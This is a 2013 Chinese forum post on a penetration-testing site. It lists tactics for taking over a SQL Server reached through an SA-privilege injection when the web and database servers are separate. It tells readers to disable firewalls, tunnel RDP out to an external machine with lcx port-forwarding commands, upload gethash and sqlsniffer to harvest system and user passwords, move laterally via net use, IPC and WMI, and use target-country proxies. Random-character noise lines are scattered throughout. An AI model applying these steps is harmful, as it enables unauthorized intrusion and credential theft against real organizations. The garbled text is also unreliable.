中国网络渗透测试联盟
标题:
SA权限网站和数据库分离的一些思路
[打印本页]
作者:
admin
时间:
2013-2-16 21:46
标题:
SA权限网站和数据库分离的一些思路
当你碰到SA的注入点,可以执行命令,但是web与数据库分离,你都会怎么做呢,当数据库不服务器不能连接外网的时候,是不是只想着从web搞呢,这篇文章从t00ls转载过来,希望对大家sa权限的注入点数据库web分离提供一些渗透思路。
# r6 `' U1 q$ \/ Z
8 C0 F- _: {5 K+ G; o( w7 X9 g
, W% |" ?( V! K
. R9 Z, r/ W4 o+ A# E6 x% j
SA点,system权限,可执行命令,web和db分离.DB机器不上网(一般指中马不上线,lcx反弹不出)
1 a! R. y$ t* O0 U: x5 n# V$ N# A
; {0 J: o+ H8 t3 H
9 w( t6 K0 p1 \ @
一、DB机有公网IP.
" |3 i6 ^8 `+ a: V' E( N
/ ?" y- ^7 {) s/ K/ a, b* H
1:执行命令把系统防火墙和ip策略停止,netstat -an找到3389端口尝试连接.
" W: K7 ]$ t/ P/ O: B! U6 }( c
' t6 i. x" O% `0 t T# X) w7 C
5 x- I2 z7 i+ I# v
2:从内往外扫描.把命令行下的s扫描器转成vbs传上DB机器生成exe扫描外网一台做了端口策略的机器.这台外网机器开放所有端口.(可以到网上找这 样的 机器.) 如果扫描结果有开放端口,证明在这台DB机可以把3389转到外面机器.比如扫到80 那就lcx -slave ip 80 127.0.0.1 3389.
( [2 W3 q5 R$ M
2 M+ {+ Z4 _! T& l/ b
4 v, |' l& {' O5 l
3:尽量多拿密码.用vbs的方法上传gethash,sqlsniffer类的工具.拿到系统和mssql的密 码,数据库表的后台管理员密码,member表的最前几个用户密码.这些密码可以用来测试web后台,web的3389 ftp等.当然事先要对web机器完整扫描一遍.
www.2cto.com
" F, y- a' f X! }
9 }7 p9 h# F" y7 l/ U2 T
8 o# L! r4 C# y$ @! _+ F
4,nmap扫描.用nmap扫描web和db机器的1-65535端口.如果发现db机器显示有closed的端口.那恭喜你,你可以lcx -tran 把3389转发到该端口直接登陆.firewalk也有类似功能.但对代理防火墙无用.
% J* d6 r' ^+ {
+ g* V# v }) ^% Z- F; B. z4 P
7 Z; `/ K9 _! G9 c6 T5 Q) K, i
; T D/ T% a0 V* z/ y E) ^. D
二、DB机只有内网IP
+ g* l o. G! K1 H6 p0 [
( D; A+ E+ T& e, F1 m+ p! J
1:尽量多拿密码来net use到web机器.这个过程需要极大的耐心
, 拿密码尝试登陆web后台等.
0 `3 q5 m. G6 v1 o6 d
/ z- W- j+ y# M# R9 G: W1 x4 s/ m5 w
, ~' G; ]- v) ]/ q
2:停掉防火墙和IP策略再从内往外扫描.
# t( o1 @* m" _# U2 q, c
. m, M$ z0 y0 G6 W
: v4 g4 ]* Z+ U: a$ n( @
3: ipconfig /dispalydns如果发现有公网的域名,极大可能是路由做了手脚.机会还是有的.
0 o6 A: M* ~9 P# s. y
2 ]" [. ^4 K7 r7 r F7 G: O6 y
8 k- U8 [' d8 ^' O4 [
4:学会密码规律分析往往会有惊喜.
9 X2 l* m7 [+ ^
$ Y' u$ R$ ^( n( h. }$ K( l8 ^
5 F/ C, a2 _+ i9 K
5,在sa点里执行命令渗透内网,找可上网的机器.isql,ipc共享,wmi等
9 n/ y0 ?4 ]/ Y2 G+ E. g
5 I! A4 U: `( o P, y
9 X) @ z6 Z6 k0 G9 n
有些地区或国家会禁止别的国家连接一些端口,所以拥有目标国代理或VPN是很重要的
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2